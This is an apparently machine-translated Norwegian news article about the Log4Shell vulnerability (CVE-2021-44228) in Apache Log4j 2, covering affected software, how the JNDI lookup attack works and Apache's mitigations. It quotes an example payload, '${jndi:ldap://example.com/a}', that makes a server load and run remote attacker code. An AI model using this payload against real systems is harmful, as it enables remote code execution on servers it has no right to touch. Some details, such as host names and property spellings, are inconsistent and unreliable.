Nylig se ga ut nyheten om at en kritisk sårbarhet ble identifisert i Apache Log4j 2, som er karakterisert som et populært rammeverk for å organisere registret i Java-applikasjoner, som lar vilkårlig kode kjøres når en spesielt formatert verdi skrives til registret i formatet "{jndi: URL}".
Sårbarhet Det er bemerkelsesverdig fordi angrepet kan utføres i Java-applikasjoner somDe registrerer verdier hentet fra eksterne kilder, for eksempel ved å vise problematiske verdier i feilmeldinger.
Det observeres at nesten alle prosjekter som bruker rammeverk som Apache Struts, Apache Solr, Apache Druid eller Apache Flink er berørt, inkludert Steam, Apple iCloud, Minecraft klienter og servere.
Sårbarheten forventes å føre til en bølge av massive angrep på bedriftsapplikasjoner, som gjentar historien om kritiske sårbarheter i rammeverket, Apache Struts, som er et grovt estimat brukt i 65 % av Fortune 100-nettapplikasjoner Liste over selskapets webapplikasjoner inkludert allerede registrerte forsøk på å skanne nettverket for sårbare systemer.
Sårbarheten tillater ekstern kjøring av uautentisert kode. Log4j 2 er et åpen kildekode Java-loggbibliotek utviklet av Apache Foundation. Log4j 2 er mye brukt i mange applikasjoner og er til stede, som en avhengighet, i mange tjenester. Disse inkluderer forretningsapplikasjoner så vel som en rekke skytjenester.
Randori-angrepsteamet har utviklet en funksjonell utnyttelse og har vært i stand til å utnytte denne sårbarheten i kundemiljøer som en del av vår offensive sikkerhetsplattform.
Sårbarheten kan nås gjennom en rekke applikasjonsspesifikke metoder. Faktisk, ethvert scenario som lar en ekstern tilkobling levere vilkårlige data som en applikasjon som bruker Log4j-biblioteket skriver til loggfiler, er utsatt for utnyttelse. Denne sårbarheten vil sannsynligvis bli utnyttet i naturen og vil sannsynligvis påvirke tusenvis av organisasjoner. Denne sårbarheten representerer en betydelig reell risiko for berørte systemer.
Problemet forsterkes av det faktum at en funksjonell utnyttelse allerede er publisert, f.eks.Men rettelser for stabile grener er ennå ikke generert. CVE-identifikatoren er ennå ikke tildelt. Løsningen er kun inkludert i testgrenen log4j-2.15.0-rc1. Som en løsning for å blokkere sikkerhetsproblemet, anbefales det å sette Log4j2.formatMsgNoLookups-parameteren til true.
Problemet det var på grunn av det faktum at Log4j 2 støtter håndtering av spesielle masker «{}» i logglinjer, der JNDI-spørringer kan kjøres (Java navngiving og kataloggrensesnitt).
Ved å analysere CVE-2021-44228 har Randori bestemt følgende:
Standardinstallasjoner av mye brukt forretningsprogramvare er sårbare.
Sårbarheten kan utnyttes pålitelig og uten autentisering.
Sårbarheten påvirker flere versjoner av Log4j 2.
Sårbarheten tillater ekstern kjøring av kode når brukeren kjører applikasjonen ved hjelp av biblioteket.
Angrepet koker ned til å sende en streng med substitusjonen "$ {jndi: ldap: //example.com/a}", som behandler som Log4j 2 vil sende en LDAP-forespørsel om banen til Java-klassen til attacker.com-serveren . Banen som returneres av angriperens server (for eksempel http://example.com/Exploit.class) vil bli lastet og utført i konteksten av den gjeldende prosessen, slik at angriperen kan oppnå vilkårlig kodekjøring på systemet med rettighetene av gjeldende søknad.
Til slutt nevnes det hvis det blir funnet avvik, anbefales det at du antar at dette er en aktiv hendelse, at den har blitt kompromittert, og reagerer deretter. Oppgradering til oppdateringsversjoner av Log4j 2 eller berørte applikasjoner vil eliminere dette sikkerhetsproblemet. Randori anbefaler enhver organisasjon som den tror kan bli berørt, snarest å oppgradere til en oppdatert versjon.
I den siste oppdateringen fra Apache Log4j-teamet, anbefaler at organisasjoner gjør følgende
- Oppdatering til Log4j 2.15.0
- For de som ikke kan oppgradere til 2.15.0: I versjoner> = 2.10 kan dette sikkerhetsproblemet reduseres ved å sette systemegenskapen log4j2.formatMsgNoLookup eller miljøvariabelen LOG4J_FORMAT_MSG_NO_LOOKUPS til true.
- For versjoner 2,0-beta9 til 2.10.0 er begrensningen å fjerne JndiLookup-klassen fra klassebanen: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
Fuente: https://www.lunasec.io/